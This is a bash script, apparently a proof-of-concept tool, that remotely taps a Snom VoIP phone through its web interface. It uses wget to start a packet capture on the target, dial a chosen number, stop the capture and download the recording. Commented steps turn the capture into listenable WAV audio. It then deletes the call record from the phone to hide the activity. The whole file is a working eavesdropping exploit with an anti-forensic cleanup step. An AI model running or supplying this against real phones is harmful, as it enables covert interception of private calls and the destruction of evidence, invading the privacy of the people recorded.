#!/bin/bash
# http://www.infosecisland.com/blogview/7473-Its-a-Feature-Remote-Tapping-a-Snom-VoIP-Phone.html

##make the data collection directory
echo " "
echo --Making logz directory
cd..
cd user_data
mkdir logz_$1


##start the tapping on the remote phone web interface
rm temp.txt
echo " "
echo --Starting Tap
wget --post-data='start_pcap=Start' $1/pcap.htm -O  logz_$1/start_pcap.html -o temp.txt
cat temp.txt
rm temp.txt


##place the call throughremote phone web interface
echo " "
echo --Placing call
wget --post-data='NUMBER='$2'&DIAL=Dial&active_line=1' $1 -O logz_$1/place_call.html -o temp.txt
cat temp.txt
rm temp.txt

##sleep 30 seconds for call to complete
echo " "
echo  --Sleeping 30 seconds
sleep 30


##stop the tapping on the remote phone web interface
echo " "
echo --Stopping Tap
wget --post-data='stop_pcap=Stop' $1/pcap.htm -O logz_$1/stop_pcap.html -o temp.txt
cat temp.txt
rm temp.txt


##download the call capture pcap from the remote phone web interface
echo " "
echo -- Grabbing call capture pcap from target phone
wget http://$1/trace.pcap -O  logz_$1/trace_$1.pcap -o temp.txt
cat temp.txt
rm temp.txt


##run rtpbreak to extract the audio from the pcap
##obtain rtpbreak from here: http://dallachiesa.com/code/rtpbreak/
##rtpbreak has dependencies detailed here: http://dallachiesa.com/code/rtpbreak/doc/rtpbreak_en.html
##rtpbreak on Ubuntu requires libnet1, libnet1-dev, libpcap0.7, libpcap0.7-dev

# echo " "
# echo Dumping audio from pcap file
# echo " "
# rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap


##run sox to convert the extracted audio to wav format
# echo " "
# echo Converting to wav
# echo " "
# sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav
# sox -r8000 -c1 -t ul logz_$1/rtp.0.1.raw -t wav logz_$1/1.wav
# sox -m logz_$1/0.wav logz_$1/1.wav call_$1.wav

# echo " "
# echo Complete -- you can listen to the captured call at call_$1.wav
# echo " "
echo " "
echo -- Deleting the call record from the phone web interface
echo " "
wget http://$1/adr.htm?dialeddel=1  -O logz_$1/del_call_log.html -o temp.txt
cat temp.txt
rm temp.txt

